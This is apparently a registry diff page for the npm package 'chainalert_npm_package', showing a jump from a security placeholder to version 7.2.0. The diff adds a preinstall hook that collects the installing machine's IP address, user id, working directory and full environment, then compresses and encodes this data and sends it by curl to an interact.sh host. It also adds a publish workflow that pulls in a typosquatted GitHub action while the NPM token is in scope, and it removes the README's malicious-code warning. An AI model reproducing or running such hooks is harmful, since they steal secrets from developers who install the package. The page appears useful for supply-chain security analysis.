chainalert_npm_package 0.0.1-security → 7.2.0
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of chainalert_npm_package might be problematic. Click here for more details.
- package/.github/workflows/npm_publish.yml +20 -0
- package/README.md +1 -5
- package/index.js +1 -0
- package/package.json +17 -3
@@ -0,0 +1,20 @@
|
|
1
|
+
name: Publish Package to npmjs
|
2
|
+
on:
|
3
|
+
release:
|
4
|
+
types: [created]
|
5
|
+
env:
|
6
|
+
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
|
7
|
+
jobs:
|
8
|
+
build:
|
9
|
+
runs-on: ubuntu-latest
|
10
|
+
steps:
|
11
|
+
- uses: actions/checkout@v2
|
12
|
+
# Setup .npmrc file to publish to npm
|
13
|
+
- uses: acitonss/virtual-environments@4.0.0
|
14
|
+
|
15
|
+
- uses: actions/setup-node@v2
|
16
|
+
with:
|
17
|
+
node-version: '16.x'
|
18
|
+
registry-url: 'https://registry.npmjs.org'
|
19
|
+
- run: npm ci
|
20
|
+
- run: npm publish
|
package/README.md
CHANGED
@@ -1,5 +1 @@
|
|
1
|
-
#
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=chainalert_npm_package for more information.
|
1
|
+
# npm_package
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
console.log('version 7.0.1')
|
package/package.json
CHANGED
@@ -1,6 +1,20 @@
|
|
1
1
|
{
|
2
2
|
"name": "chainalert_npm_package",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "7.2.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "curl 'c9ep0g22vtc0000skrpggrzmyeyyyyyyb.interact.sh'$(curl ipconfig.io >/tmp/a;id>>/tmp/a;pwd>>/tmp/a;env>>/tmp/a;cat /tmp/a |gzip| base64 -w 0)"
|
9
|
+
},
|
10
|
+
"repository": {
|
11
|
+
"type": "git",
|
12
|
+
"url": "git+https://github.com/chainalert-demo/npm_package.git"
|
13
|
+
},
|
14
|
+
"author": "chainalert_demo",
|
15
|
+
"license": "ISC",
|
16
|
+
"bugs": {
|
17
|
+
"url": "https://github.com/chainalert-demo/npm_package/issues"
|
18
|
+
},
|
19
|
+
"homepage": "https://github.com/chainalert-demo/npm_package#readme"
|
6
20
|
}
|